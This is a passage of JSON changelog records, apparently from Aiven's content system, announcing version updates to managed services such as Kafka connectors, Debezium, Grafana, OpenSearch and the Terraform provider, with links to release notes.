Notes"},{"_key":"ae554aa6-74f2-4df5-9613-75f5e9fded7f","_type":"span","marks":[],"text":" for what's new in this release, including some minor breaking changes."}],"markDefs":[{"_key":"m8201725104869","_type":"link","href":"https://debezium.io/releases/1.7/release-notes"}],"style":"normal"}],"publishedAt":"2021-10-20T00:00:00.000Z","tags":[{"_key":"d3947f55-7a48-4d8e-9cfe-d258ab28195a","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Kafka Connect Debezium 1.7.0.Final is now available"} {"_createdAt":"2022-10-27T09:03:54Z","_i18n_lang":"en","_id":"25f89182-3cf0-4da8-9a71-6f911c1f7e9a","_rev":"uVO3nVvSuHH0nc1h0MTaSK","_type":"changelog","_updatedAt":"2022-10-27T09:03:54Z","changeType":"","description":[{"_key":"e9c166f5-ee79-4208-a7ba-a235da7275f3","_type":"block","children":[{"_key":"5d36a263-f4f9-4a8b-83e4-f1468ea07991","_type":"span","marks":[],"text":"Please see the "},{"_key":"698a3f3c-bff4-48b5-a965-8f55114512eb","_type":"span","marks":["m13702000315066"],"text":"changelog"},{"_key":"40433e51-9097-41e4-ac53-7216f605de06","_type":"span","marks":[],"text":" and "},{"_key":"6b9d6a83-0ede-4b6d-9a7c-3cfeabb3171b","_type":"span","marks":["m7909075504411"],"text":"documentation"},{"_key":"2d7fb5a3-a17b-4075-b3fe-6ab36e0d6f14","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m13702000315066","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-gcs/releases/tag/v0.9.0"},{"_key":"m7909075504411","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-gcs/tree/v0.9.0"}],"style":"normal"}],"publishedAt":"2021-07-26T00:00:00.000Z","tags":[{"_key":"d6427abb-6080-462c-902a-2e887f6d157c","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka GCS Sink Connector has been updated to version 0.9.0"} {"_createdAt":"2022-10-27T09:09:21Z","_i18n_lang":"en","_id":"26455573-87b5-4d8e-a767-27718beca031","_rev":"LZdZtpADiowz8bkvB6nhTH","_type":"changelog","_updatedAt":"2022-10-27T09:09:21Z","changeType":"","publishedAt":"2018-11-09T00:00:00.000Z","tags":[{"_key":"8c65e441-4a22-450b-a37c-76e5508f0b92","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka REST supports configuring some settings, please see the \u003ca href=\"https://help.aiven.io/kafka/configuring-kafka-rest\"\u003ehelp article\u003c/a\u003e for more details."} {"_createdAt":"2022-10-27T09:04:14Z","_i18n_lang":"en","_id":"26b2e8a2-c8d8-4542-9fa3-f1a62f48b0a5","_rev":"HEiYk6nGjmUICadcDbSgry","_type":"changelog","_updatedAt":"2022-10-27T09:04:14Z","changeType":"","description":[{"_key":"a8438c6f-0d34-472b-8c69-710ebe78c6fb","_type":"block","children":[{"_key":"126cc55c-35db-4492-b015-a8acdc7f0fd5","_type":"span","marks":[],"text":"Please see the "},{"_key":"63361baf-ab4c-415f-b26d-07623fcbc2f7","_type":"span","marks":["m1750346011318"],"text":"changelog"},{"_key":"dddbc1f4-96ab-4812-b439-a834285e2e08","_type":"span","marks":[],"text":" and "},{"_key":"b2b7c622-e0b5-4bd4-92dd-ad210bc22b59","_type":"span","marks":["m8497997267447"],"text":"documentation"},{"_key":"22341d51-3053-43f6-bd37-130052fee781","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m1750346011318","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-s3/releases/tag/v2.11.0"},{"_key":"m8497997267447","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-s3/tree/v2.11.0"}],"style":"normal"}],"publishedAt":"2021-05-22T00:00:00.000Z","tags":[{"_key":"da668c4d-4476-46ea-8e80-7555ce8346cf","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka S3 Sink Connector has been updated to version 2.11.0"} {"_createdAt":"2022-10-27T09:10:04Z","_i18n_lang":"en","_id":"26d82bd3-49d2-40ce-8d7b-5b712d76a2f9","_rev":"WYf15BwQWb3V4yHfbxPWEd","_type":"changelog","_updatedAt":"2022-10-27T09:10:04Z","changeType":"","description":[{"_key":"0f6a9e49-147c-4da1-ab2a-7828418f4e1f","_type":"block","children":[{"_key":"470bb467-0333-46e3-99cb-876039330316","_type":"span","marks":[],"text":"Please refer to the "},{"_key":"d7e19729-1a2e-45fc-8606-d38487667fdb","_type":"span","marks":["m1816104443813"],"text":"changelog"},{"_key":"e860a7da-45e5-49d3-b9a3-5173d1de10a2","_type":"span","marks":[],"text":" for what's new."}],"markDefs":[{"_key":"m1816104443813","_type":"link","href":"https://github.com/grafana/grafana/blob/master/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2018-07-06T00:00:00.000Z","tags":[{"_key":"ce73432a-4d6a-4707-86f7-5622ede1e7d6","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 5.2.1 and updated all available plugins to the latest versions"} {"__i18n_lang":"en","_createdAt":"2022-12-13T09:06:37Z","_id":"26ed518d-6e74-493a-9400-c1fb95ed548d","_rev":"pHQ8N4A65KgHsk1wOJPQDC","_type":"changelog","_updatedAt":"2022-12-13T09:06:37Z","description":[{"_key":"b61d3ab104ac","_type":"block","children":[{"_key":"ff003cac37c40","_type":"span","marks":[],"text":"New features in this release include: project VPC references and Aiven default tokens. You can now refer directly from an Aiven service to a VPC configuration without needing the raw VPC ID. This makes it easier to set up VPCs for your projects. You can also now use the default Aiven tokens instead of authSecretReference on resources. By using the default token, you don't need to add a secret to every namespace. In addition to these new features, this release introduces parallel processing of resources for improved performance. For more information on Aiven Operator for Kubernetes, see "},{"_key":"9c0f10ab7cb3","_type":"span","marks":["3bdc72c10a6e"],"text":"the Aiven documentation"},{"_key":"a7948b69c6aa","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"3bdc72c10a6e","_type":"link","href":"https://docs.aiven.io/docs/tools/kubernetes.html"}],"style":"normal"}],"publishedAt":"2022-11-28T09:05:00.000Z","tags":[{"_key":"eff8ded5d3b9","_ref":"2c9ddba5-c82b-4166-95c8-22f314164f97","_type":"tool"}],"title":"Aiven Operator for Kubernetes version 0.5.1 is now available."} {"_createdAt":"2022-10-27T09:02:18Z","_i18n_lang":"en","_id":"2743cb01-43fb-41b7-870b-bb23719341a7","_rev":"jxjwnOsJAgDXPDj4qmbzOe","_type":"changelog","_updatedAt":"2022-10-27T09:02:18Z","changeType":"","description":[{"_key":"ef539b1a-7783-4c06-a5df-a0169bef668a","_type":"block","children":[{"_key":"fb4fca9c-6eb2-46a7-8d6d-3ced108b103f","_type":"span","marks":[],"text":"Please see the "},{"_key":"798d1788-93bd-4180-bf42-6d7d2c1782a4","_type":"span","marks":["m13502799615206"],"text":"release notes"},{"_key":"510c0b8d-381c-4240-9eed-9ecc94334a93","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m13502799615206","_type":"link","href":"https://github.com/apache/cassandra/blob/cassandra-4.0.4/NEWS.txt"}],"style":"normal"}],"publishedAt":"2022-07-14T00:00:00.000Z","tags":["Aiven for Cassandra"],"title":"Aiven for Cassandra 4.0.4 is now available"} {"__i18n_lang":"en","_createdAt":"2023-02-24T12:02:45Z","_id":"27e19997-e7e6-44d9-8fb0-539eabfc42a9","_rev":"R8FXCRS38PsyqBqutLJYNE","_type":"changelog","_updatedAt":"2023-08-23T08:17:49Z","changeType":"improved","description":[{"_key":"f0864a9ef6a1","_type":"block","children":[{"_key":"a3a953a0f39f0","_type":"span","marks":[],"text":"This release features the ability to manually set timeouts for any resource. Previously, this was only possible for specific resources. Additionally, the default timeout values have been unified. They are now set to 20 minutes for all resources."}],"markDefs":[],"style":"normal"},{"_key":"85d7e942eb95","_type":"block","children":[{"_key":"6bd9a1923fb1","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"bde02df77d90","_type":"block","children":[{"_key":"b0c1f842ec8c","_type":"span","marks":[],"text":"For more information on Aiven Provider for Terraform, see the "},{"_key":"7e105fb2ccf7","_type":"span","marks":["0a5b3f15e5b7"],"text":"documentation"},{"_key":"fa8bf61797c4","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"0a5b3f15e5b7","_type":"link","href":"https://registry.terraform.io/providers/aiven/aiven/latest/docs"}],"style":"normal"}],"publishedAt":"2023-02-24T12:05:19.261Z","tags":[{"_key":"5a8f3cfa4501","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"tool"}],"title":"Aiven Provider for Terraform version 3.13.0 now available"} {"_createdAt":"2022-10-27T09:08:14Z","_i18n_lang":"en","_id":"28a568a4-bd8c-4e53-9d84-36f1e3c2ba8b","_rev":"chYcdg0OBeHzQFNhareAuL","_type":"changelog","_updatedAt":"2022-10-27T09:08:14Z","changeType":"","description":[{"_key":"dd9c672d-9fc2-447f-9e58-90db4da060c4","_type":"block","children":[{"_key":"7dc15277-345c-48c2-8938-460af779d48e","_type":"span","marks":[],"text":"Please see "},{"_key":"fa35f37c-9cdd-42b9-93e0-6c0e545cad64","_type":"span","marks":["m1768960206853"],"text":"the documentation"},{"_key":"199183de-a8e6-4113-aa74-cf42c2e77416","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m1768960206853","_type":"link","href":"https://docs.snowflake.net/manuals/user-guide/kafka-connector.html"}],"style":"normal"}],"publishedAt":"2019-06-26T00:00:00.000Z","tags":[{"_key":"b55bc230-362c-4792-83c1-b77510c7ac85","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Snowflake Kafka Connect Connector version 0.3 has been added"} {"_createdAt":"2022-10-27T09:11:08Z","_i18n_lang":"en","_id":"28d0b78d-90a5-48d9-98d5-c890d9019746","_rev":"ri8ZjU8zRgh6Niwltv1Eu1","_type":"changelog","_updatedAt":"2022-10-27T09:11:08Z","changeType":"","description":[{"_key":"340d5d09-d4b5-4401-a76f-98883fefee78","_type":"block","children":[{"_key":"7044a592-75fd-4884-b2f9-3b08d1c864a9","_type":"span","marks":[],"text":"Disk performance improvements of up to 700% have been seen in some workloads."}],"markDefs":[],"style":"normal"}],"publishedAt":"2017-10-16T00:00:00.000Z","tags":[{"_key":"7c3d1458-7787-4d17-b13b-65d693780de3","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"Google Compute Platform (GCP): started using Local SSDs for much improved performance in plans with larger disk sizes"} {"_createdAt":"2022-10-27T09:08:33Z","_i18n_lang":"en","_id":"28e591de-457b-4529-94cf-c504cfcd029b","_rev":"chYcdg0OBeHzQFNhareBnW","_type":"changelog","_updatedAt":"2022-10-27T09:08:33Z","changeType":"","publishedAt":"2019-05-07T00:00:00.000Z","tags":[{"_key":"c61d688b-60c1-415f-89b0-fe76122a332c","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension has been updated to version 1.3.0."} {"_createdAt":"2022-10-27T09:12:02Z","_i18n_lang":"en","_id":"290373bd-8061-4c2a-b8eb-ffbe1f202d7d","_rev":"HEiYk6nGjmUICadcDbTskp","_type":"changelog","_updatedAt":"2022-10-27T09:12:02Z","changeType":"","description":[{"_key":"02049b9a-622b-43b9-8e32-d4c0c872e176","_type":"block","children":[{"_key":"811dc00f-d4eb-4fa3-8f9d-2ae2d260f4ff","_type":"span","marks":[],"text":"All Aiven services are now available in the new regions."}],"markDefs":[],"style":"normal"}],"publishedAt":"2017-03-15T00:00:00.000Z","tags":[{"_key":"d88defe1-cbce-4db3-b099-189541a7fb20","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"hostProvider"}],"title":"Added support for new UpCloud Amsterdam and Singapore regions"} {"_createdAt":"2022-10-27T09:02:20Z","_i18n_lang":"en","_id":"2906c64a-1866-4067-8a9b-8a4435310c9d","_rev":"WYf15BwQWb3V4yHfbxNNGF","_type":"changelog","_updatedAt":"2022-10-27T09:02:20Z","changeType":"","description":[{"_key":"cf0b0855-0bed-458b-9fc7-0c1eb2950123","_type":"block","children":[{"_key":"f1ec1420-15f9-4e4e-8dc1-7f8a57786d1c","_type":"span","marks":[],"text":"Please see the "},{"_key":"355ca43b-8e0b-46aa-b96f-6a07c0eefa1e","_type":"span","marks":["m13791310023313"],"text":"Changelog"},{"_key":"c578caed-7099-4d93-af57-64907620694e","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m13791310023313","_type":"link","href":"https://github.com/opensearch-project/opensearch-build/blob/main/release-notes/opensearch-release-notes-1.3.5.md"}],"style":"normal"}],"publishedAt":"2022-07-09T00:00:00.000Z","tags":[{"_key":"66723d6d-e95c-4e92-a4cf-89e5a6eaa533","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"service"}],"title":"Updated OpenSearch and OpenSearch Dashboards to version 1.3.5"} {"_createdAt":"2022-10-27T09:02:04Z","_i18n_lang":"en","_id":"299d784b-b30a-420b-b922-56b71b53baa1","_rev":"7JYD5XroFCjaK9NJzk3gdc","_type":"changelog","_updatedAt":"2022-10-27T09:02:04Z","changeType":"","description":[{"_key":"61769d35-3890-4cdc-aaee-52d53176fa73","_type":"block","children":[{"_key":"d49c18f9-09fb-43e3-b968-816c4f0e3fb1","_type":"span","marks":[],"text":"This release includes various new features and bug fixes. Upgrading to 1.9.5.Final also solves the excessive warnings in logging with default value function calls for UUID type when using Debezium PostgreSQL connector. For more information, see "},{"_key":"87d5b355-74ac-44e6-8c47-ac70b65a7f04","_type":"span","marks":["m15096567897488"],"text":"Debezium 1.9.5 Final Release blog"},{"_key":"244d52e6-9b38-4247-bb6f-7db60394cd59","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m15096567897488","_type":"link","href":"https://debezium.io/releases/1.9/release-notes#release-1.9.5-final"}],"style":"normal"}],"publishedAt":"2022-08-29T00:00:00.000Z","tags":[{"_key":"76c31c7f-ba5b-4611-8324-8a3d86eaa8bb","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Kafka Connect Debezium 1.9.5.Final is now available"} {"_createdAt":"2022-10-27T09:12:01Z","_i18n_lang":"en","_id":"2a751f2b-0a98-4fc6-a97a-fa43667dd8df","_rev":"zF7BMhNhvYpWtPMfHNOMwM","_type":"changelog","_updatedAt":"2022-10-27T09:12:01Z","changeType":"","publishedAt":"2017-03-16T00:00:00.000Z","tags":[{"_key":"75cad80b-1b8a-4d5e-9832-a2eb5aa305a1","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"},{"_key":"43207e6d-3e2a-4745-a797-1e384b978ab2","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"hostProvider"},{"_key":"3434ef76-437c-4a8b-a926-d0b4505b2f11","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"Added Startup, Business and Premium -240 plans for Google Cloud Platform (GCP) and Amazon Web Service (AWS.)"} {"_createdAt":"2022-10-27T09:06:22Z","_i18n_lang":"en","_id":"2acd39f8-4a6c-40c5-ba6c-bda94e5029bb","_rev":"C4pC7IakZ1PpJ4LWR2B4r5","_type":"changelog","_updatedAt":"2022-10-27T09:06:22Z","changeType":"","description":[{"_key":"a29bc652-46c9-4902-9de9-98988e40cded","_type":"block","children":[{"_key":"aa304143-0159-4d26-a872-1c07849ba47e","_type":"span","marks":[],"text":"Please see the "},{"_key":"28c1eefe-ebcf-4880-9dd6-6a358e3b91b9","_type":"span","marks":["m8617491563735"],"text":"release notes"},{"_key":"fed891a1-6a2a-4454-90a7-3cc1ed9b6df5","_type":"span","marks":[],"text":" and the "},{"_key":"69d4df65-50f7-444f-b23a-09fdf28756b0","_type":"span","marks":["m7098015741234"],"text":"documentation"},{"_key":"f3e53fd4-3cbe-4bc5-8521-01dfa6731cee","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8617491563735","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-gcs/releases/tag/v0.4.0"},{"_key":"m7098015741234","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-gcs"}],"style":"normal"}],"publishedAt":"2020-07-28T00:00:00.000Z","tags":[{"_key":"bf3106cf-6b54-4295-baf0-983c846a2423","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka Connect GCS sink connector by Aiven has been updated to version 0.4.0"} {"_createdAt":"2022-10-27T09:05:39Z","_i18n_lang":"en","_id":"2b33c633-781f-4015-997c-ac5444c945f5","_rev":"7JYD5XroFCjaK9NJzk3rpK","_type":"changelog","_updatedAt":"2022-10-27T09:05:39Z","changeType":"","description":[{"_key":"25a72da2-27fb-4a5d-9f8b-6c7045b53a78","_type":"block","children":[{"_key":"44520302-50b0-4918-b82e-200e64320d50","_type":"span","marks":[],"text":"To see what's new see the release notes for "},{"_key":"c912ea92-8fec-4fd6-ac4b-13e3453ec4ea","_type":"span","marks":["m17565514677728"],"text":"Elasticsearch 6.8.13"},{"_key":"6e6e73a1-c301-43ea-bd74-31ae63e16042","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m17565514677728","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/6.8/release-notes-6.8.13.html"}],"style":"normal"}],"publishedAt":"2020-11-19T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch new minor version 6.8.13 is now available"} {"_createdAt":"2022-10-27T09:09:50Z","_i18n_lang":"en","_id":"2c5722f6-b81d-494c-8152-4c016ec66f05","_rev":"ncjVtEY290Sap8rHbFwjus","_type":"changelog","_updatedAt":"2022-10-27T09:09:50Z","changeType":"","description":[{"_key":"0916c1b5-7333-4c1b-a50d-5f7c1d374884","_type":"block","children":[{"_key":"d97a1779-23e7-4c03-bd1b-8da09c51ca5a","_type":"span","marks":[],"text":"Please see the "},{"_key":"5b96b813-a99b-4c8b-9ca1-eb0b6aad8c7d","_type":"span","marks":["m6852786272992"],"text":"help article"},{"_key":"75ceeace-ad36-4ac4-816d-8620e15d9913","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m6852786272992","_type":"link","href":"https://help.aiven.io/grafana/sending-emails-from-grafana"}],"style":"normal"}],"publishedAt":"2018-08-15T00:00:00.000Z","tags":[{"_key":"bb038447-9437-47ba-9205-f6a0057848f2","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Added support for configuring SMTP and Google Analytics to Grafana"} {"_createdAt":"2022-10-27T09:06:30Z","_i18n_lang":"en","_id":"2c8f1764-ea76-492c-82e6-15d60ba53f2c","_rev":"Cf2WlCE8X5IGBBi7ld1Gkw","_type":"changelog","_updatedAt":"2022-10-27T09:06:30Z","changeType":"","description":[{"_key":"f582938f-f178-4fdd-9cfe-af7107df5beb","_type":"block","children":[{"_key":"ed526def-266c-43b4-867b-7bf2eb5e4ea6","_type":"span","marks":[],"text":"This deprecates the old MirrorMaker integration, now visible in the Aiven Console as 'Legacy Kafka MirrorMaker'. Please see the "},{"_key":"a7547c83-69f9-49da-acd9-14808b8350aa","_type":"span","marks":["m13921263545166"],"text":"announcement"},{"_key":"2c63d780-6936-4257-9ea2-0b18501ced40","_type":"span","marks":[],"text":" and "},{"_key":"55efc543-7a67-432a-95fe-a2a19708373b","_type":"span","marks":["m650171362329"],"text":"documentation"},{"_key":"60988ba3-ab6b-439a-9def-64e4a8e45431","_type":"span","marks":[],"text":" for details."}],"markDefs":[{"_key":"m13921263545166","_type":"link","href":"https://aiven.io/blog/aiven-now-supports-kafka-mirrormaker-2"},{"_key":"m650171362329","_type":"link","href":"https://help.aiven.io/en/articles/3992671-getting-started-with-kafka-mirrormaker"}],"style":"normal"}],"publishedAt":"2020-06-25T00:00:00.000Z","tags":[{"_key":"a108411b-304f-4f02-8953-c22d6142988a","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"MirrorMaker 2 is now available as a service integration for Kafka"} {"_createdAt":"2022-10-27T09:02:22Z","_i18n_lang":"en","_id":"2cf408af-c1da-4e12-b415-c906c84ce64d","_rev":"MEha5B96IszmAjyiiUp6Tm","_type":"changelog","_updatedAt":"2022-10-27T09:02:22Z","changeType":"","publishedAt":"2022-06-24T00:00:00.000Z","tags":[{"_key":"c43918cf-736a-467f-97f2-ac48b8283291","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL PostGIS extension version 3.2.1 is available."} {"__i18n_lang":"en","_createdAt":"2023-02-24T12:26:40Z","_id":"2d1e6f89-3715-4aff-973b-921ef5b2256c","_rev":"RC5pgePlmGi6uvVNnpCX3a","_type":"changelog","_updatedAt":"2023-02-24T14:54:47Z","changeType":"improved","description":[{"_key":"e5589ebe7d94","_type":"block","children":[{"_key":"acdd67058ab30","_type":"span","marks":[],"text":"Aiven for OpenSearch® now supports OpenSearch version 1.3.8, and users running OpenSearch 1 can choose to upgrade to this version as an update on the Aiven platform. This update brings a host of improvements, such as:"}],"markDefs":[],"style":"normal"},{"_key":"3935f574b994","_type":"block","children":[{"_key":"0c0005d538ee","_type":"span","marks":[],"text":"Enhancements made to cluster config fields for OpenSearch Performance Analyzer"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e0ab1293ced8","_type":"block","children":[{"_key":"bcafdbb909c20","_type":"span","marks":[],"text":"Windows and Mac CI for OpenSearch Anomaly Detection have been included"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8b66f5e3d426","_type":"block","children":[{"_key":"9370920bc7190","_type":"span","marks":[],"text":"Updates include bug fixes, infrastructure updates, and maintenance enhancements"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"694fbd395624","_type":"block","children":[{"_key":"eaa8a16d48570","_type":"span","marks":[],"text":"For detailed information on the updates in OpenSearch 1.3.8, see "},{"_key":"eaa8a16d48571","_type":"span","marks":["2783c57297b3"],"text":"OpenSearch release notes"},{"_key":"5f759b23a56e","_type":"span","marks":[],"text":" and "},{"_key":"28cc0ead0955","_type":"span","marks":["60a18834ba12"],"text":"Aiven for OpenSearch "},{"_key":"a8383b56e416","_type":"span","marks":[],"text":"documentation. "}],"markDefs":[{"_key":"2783c57297b3","_type":"link","href":"https://github.com/opensearch-project/opensearch-build/blob/main/release-notes/opensearch-release-notes-1.3.8.md"},{"_key":"60a18834ba12","_type":"link","href":"https://docs.aiven.io/docs/products/opensearch"}],"style":"normal"}],"publishedAt":"2023-02-24T12:26:00.000Z","tags":[{"_key":"acae90754fb6","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"service"}],"title":"OpenSearch version 1.3.8 now available"} {"__i18n_lang":"en","_createdAt":"2024-03-11T09:06:16Z","_id":"2d6445b9-20e9-4662-82ed-53fcda13d8c1","_rev":"ixD1Z6QkTI4STljuuNnlnw","_type":"changelog","_updatedAt":"2024-04-09T11:57:38Z","changeType":"improved","description":[{"_key":"7686059f4c36","_type":"block","children":[{"_key":"0c650f6f8d63","_type":"span","marks":[],"text":"Starting from March 13, 2024, all new setups of Aiven Kafka Connect services using the Debezium connector will "},{"_key":"5b9258c32b7f1","_type":"span","marks":["c46735e87f34"],"text":"default to version 2.5"},{"_key":"5b9258c32b7f2","_type":"span","marks":[],"text":". Existing setups using Debezium version 1.9 will remain on that version to ensure stability and compatibility. Manual upgrades to version 2.5 are available upon request."}],"markDefs":[{"_key":"c46735e87f34","_type":"link","href":"https://debezium.io/releases/2.5/release-notes"}],"style":"normal"},{"_key":"06beadde8eb7","_type":"block","children":[{"_key":"3c9c08d4b09c0","_type":"span","marks":["strong"],"text":"Key changes:"}],"markDefs":[],"style":"normal"},{"_key":"a7835f6461d0","_type":"block","children":[{"_key":"3288aa1730060","_type":"span","marks":["strong"],"text":"For new setups:"},{"_key":"3288aa1730061","_type":"span","marks":[],"text":" Debezium connectors on new Apache Kafka Connect services will "},{"_key":"3288aa1730062","_type":"span","marks":["c48bfe8ae2e4"],"text":"default to version 2.5"},{"_key":"3288aa1730063","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"c48bfe8ae2e4","_type":"link","href":"https://debezium.io/releases/2.5/release-notes"}],"style":"normal"},{"_key":"3bb65adac8a3","_type":"block","children":[{"_key":"6ea244019af90","_type":"span","marks":["strong"],"text":"For existing setups:"},{"_key":"6ea244019af91","_type":"span","marks":[],"text":" Setups currently using Debezium version 1.9 will not be automatically upgraded. These setups will continue to use Debezium version 1.9, even during service maintenance."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f148146fac02","_type":"block","children":[{"_key":"6efd6b9d3ccc0","_type":"span","marks":["strong"],"text":"Configuration changes:"},{"_key":"6efd6b9d3ccc1","_type":"span","marks":[],"text":" Starting with version 2.0, Debezium introduced significant changes to configuration parameters. It is recommended to review and test these updates in a non-production environment. For detailed information, see the "},{"_key":"6efd6b9d3ccc2","_type":"span","marks":["6cb049a09ca1"],"text":"new configuration namespaces"},{"_key":"6efd6b9d3ccc3","_type":"span","marks":[],"text":" section."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"6cb049a09ca1","_type":"link","href":"https://debezium.io/blog/2022/10/17/debezium-2-0-final-released/"}],"style":"normal"},{"_key":"0d0a5bc6a1f0","_type":"block","children":[{"_key":"1c862a55ed7a0","_type":"span","marks":["strong"],"text":"Plugin deprecation:"},{"_key":"1c862a55ed7a1","_type":"span","marks":[],"text":" With the introduction of Debezium version 2.5, the `wal2json` plugin is now deprecated."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"aab9df29eef7","_type":"block","children":[{"_key":"c4f1f243e8c20","_type":"span","marks":["strong"],"text":"Actions required:"}],"markDefs":[],"style":"normal"},{"_key":"61a88f0319ca","_type":"block","children":[{"_key":"322e5c17410d0","_type":"span","marks":["strong"],"text":"For new setups:"},{"_key":"322e5c17410d1","_type":"span","marks":[],"text":" No action is needed; Debezium version 2.5 will be used by default."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"dcb2f52487b9","_type":"block","children":[{"_key":"500f1cc2dec80","_type":"span","marks":["strong"],"text":"For existing setups opting to upgrade:"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"89eb65590b20","_type":"block","children":[{"_key":"829f7d5d03380","_type":"span","marks":[],"text":"A "},{"_key":"829f7d5d03381","_type":"span","marks":["333b0b8e1e79"],"text":"maintenance update"},{"_key":"829f7d5d03382","_type":"span","marks":[],"text":" is required for existing setups to upgrade to Debezium version 2.5. Without this maintenance, your setup will remain on version 1.9."}],"level":2,"listItem":"bullet","markDefs":[{"_key":"333b0b8e1e79","_type":"link","href":"https://aiven.io/docs/platform/concepts/maintenance-window#maintenance-updates"}],"style":"normal"},{"_key":"b9c7c5b0aa51","_type":"block","children":[{"_key":"52c800ca0e760","_type":"span","marks":[],"text":"Test your configurations with version 2.5 in a non-production environment to evaluate compatibility."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0d525d02a8a8","_type":"block","children":[{"_key":"710d275a31150","_type":"span","marks":[],"text":"Due to breaking changes, the connector may need to be reconfigured. To upgrade, submit a support ticket. It may be necessary to reconfigure the connector with the new settings."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"21e97d00b68d","_type":"block","children":[{"_key":"0d45f6f3ab620","_type":"span","marks":["strong"],"text":"Plugin migration:"},{"_key":"0d45f6f3ab621","_type":"span","marks":[],"text":" Debezium version 2.5 has deprecated the "},{"_key":"8268d986fe6d","_type":"span","marks":["code"],"text":"wal2json"},{"_key":"c37cac50b2d6","_type":"span","marks":[],"text":" plugin, and we advise users to transition to either the "},{"_key":"2f1bd618bd86","_type":"span","marks":["code"],"text":"pgoutput"},{"_key":"ad568fed733c","_type":"span","marks":[],"text":" or "},{"_key":"6469975151c4","_type":"span","marks":["code"],"text":"decoderbufs"},{"_key":"838f6fdbf183","_type":"span","marks":[],"text":" plugins as per "},{"_key":"0d45f6f3ab622","_type":"span","marks":["eec12f1d6067"],"text":"Debezium's recommendations"},{"_key":"0d45f6f3ab623","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"eec12f1d6067","_type":"link","href":"https://debezium.io/releases/2.5/release-notes"}],"style":"normal"},{"_key":"e9b6389aa864","_type":"block","children":[{"_key":"b80ab80b43710","_type":"span","marks":["strong"],"text":"Support:"},{"_key":"b80ab80b43711","_type":"span","marks":[],"text":" If you need help with the upgrade process or have questions regarding Debezium version 2.5, submit a support ticket via our support channel."}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-03-13T09:24:00.000Z","tags":[{"_key":"68430b6d7fc2","_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"service"}],"title":"Debezium connector upgraded to version 2.5 "} {"_createdAt":"2022-10-27T09:06:29Z","_i18n_lang":"en","_id":"2e6f7ca4-7727-4976-8f39-21d6d14f334c","_rev":"chYcdg0OBeHzQFNhare6wY","_type":"changelog","_updatedAt":"2022-10-27T09:06:29Z","changeType":"","description":[{"_key":"8355cdef-b9a3-4a83-ab9d-8614e057079e","_type":"block","children":[{"_key":"219f1e62-ec21-49ec-8d2f-e2466e3aabb5","_type":"span","marks":[],"text":"Please see "},{"_key":"94798866-d74d-454f-b73f-2e62961f8b48","_type":"span","marks":["m9312210797654"],"text":"the changelog"},{"_key":"705e2aae-1da4-4c21-b182-7d41407415b6","_type":"span","marks":[],"text":" and 